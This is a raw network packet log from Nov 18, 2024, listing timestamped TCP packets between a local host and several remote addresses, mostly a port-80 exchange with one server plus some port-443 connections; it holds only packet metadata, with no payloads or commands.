Nov 18, 2024 00:27:56.827210903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827222109 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827224016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827241898 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827265024 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827301979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827373981 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827389956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827414989 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827438116 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827459097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827471972 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827493906 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827506065 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827507019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827518940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827528954 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827532053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827553034 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827559948 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827564955 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827575922 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827585936 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827589035 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827600002 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827610970 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827617884 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827647924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827652931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827660084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827681065 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827692032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827692986 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827707052 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827711105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827747107 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827822924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827857971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827869892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.827897072 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.827950954 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.835791111 CET	443	50014	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:56.856960058 CET	443	50014	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:56.857068062 CET	50014	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:56.859323025 CET	443	50008	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:56.859955072 CET	50014	443	192.168.2.6	20.125.209.212
Nov 18, 2024 00:27:56.859972000 CET	443	50014	20.125.209.212	192.168.2.6
Nov 18, 2024 00:27:56.864171982 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.864197016 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.864222050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.864249945 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.864262104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.864272118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.864273071 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.864342928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.864353895 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.864365101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.864367962 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.864389896 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.864407063 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.864434004 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.864473104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.872834921 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.872864008 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.872906923 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.872921944 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.872953892 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.873625994 CET	50015	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.873640060 CET	443	50015	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.880239010 CET	50023	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.880281925 CET	443	50023	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.880351067 CET	50023	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.880530119 CET	50023	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.880553007 CET	443	50023	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.888812065 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.888895035 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.889076948 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.889076948 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.889215946 CET	50016	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.889228106 CET	443	50016	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.891756058 CET	50024	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.891786098 CET	443	50024	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.891855001 CET	50024	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.892046928 CET	50024	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:56.892055988 CET	443	50024	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:56.926430941 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.926708937 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.926726103 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.927740097 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.927818060 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.937041044 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.937110901 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.938041925 CET	50020	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.938050985 CET	443	50020	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.939079046 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.939223051 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.939522028 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.939548016 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.939820051 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.939835072 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.940012932 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.940309048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940341949 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940354109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940376043 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.940386057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940421104 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.940432072 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940445900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940448999 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.940459013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940473080 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940484047 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.940485001 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940534115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.940538883 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940551996 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940562963 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.940565109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940576077 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940588951 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940601110 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940601110 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.940613985 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940627098 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940639019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940642118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.940670013 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940685034 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.940706968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.940728903 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.940790892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940800905 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940838099 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.940840960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940853119 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940874100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940886021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940887928 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.940892935 CET	443	50019	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.940900087 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940924883 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.940939903 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.940963984 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.940965891 CET	50019	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.940994024 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941262007 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941274881 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941298962 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941309929 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941322088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941323996 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941334963 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941340923 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941345930 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941358089 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941369057 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941370964 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941391945 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941395998 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941431999 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941433907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941445112 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941457033 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941459894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941471100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941478968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941504955 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941682100 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941725016 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941771984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941785097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941798925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941809893 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941822052 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941831112 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941837072 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941848993 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941858053 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941873074 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941874981 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941885948 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941896915 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941901922 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941909075 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941922903 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941951990 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.941986084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.941998959 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942011118 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942022085 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942054033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942054033 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942075968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942080021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942091942 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942104101 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942114115 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942116022 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942122936 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942127943 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942133904 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942153931 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942181110 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942291021 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942305088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942317009 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942336082 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942353010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942629099 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942678928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942679882 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942691088 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942713976 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942735910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942739010 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942748070 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942763090 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942787886 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942819118 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942842960 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942853928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942863941 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942881107 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942888975 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942898989 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942910910 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942918062 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942924023 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942939997 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942944050 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942955971 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942966938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942967892 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.942979097 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.942998886 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943008900 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943013906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943021059 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943032980 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943049908 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943058968 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943061113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943077087 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943104982 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943120003 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943131924 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943160057 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943170071 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943181038 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943185091 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943227053 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943280935 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943340063 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943351984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943413019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943427086 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943468094 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943480968 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943512917 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943512917 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943512917 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943512917 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943512917 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943527937 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943548918 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943562031 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943573952 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943586111 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943598032 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943602085 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943629026 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943648100 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943680048 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943758011 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.943804979 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.943842888 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944310904 CET	50018	443	192.168.2.6	23.47.50.177
Nov 18, 2024 00:27:56.944411039 CET	443	50018	23.47.50.177	192.168.2.6
Nov 18, 2024 00:27:56.944487095 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944499969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944511890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944525957 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944538116 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944539070 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944550037 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944564104 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944596052 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944596052 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944612980 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944622040 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944633961 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944644928 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944658041 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944662094 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944677114 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944679976 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944691896 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944703102 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944705009 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944714069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944725990 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944736958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944747925 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944749117 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944758892 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944768906 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944771051 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944782019 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944793940 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944797993 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944804907 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944808006 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944825888 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944850922 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944863081 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944875956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944885969 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944897890 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944906950 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944910049 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944921017 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944926977 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944932938 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944947958 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944956064 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.944958925 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944969893 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.944986105 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.945005894 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.945238113 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.945250988 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.945261955 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.945274115 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.945285082 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.945286036 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.945297956 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.945300102 CET	49889	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:56.945311069 CET	80	49889	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:56.945323944 CET	80	49889	185.215.113.206	192.168.2.6
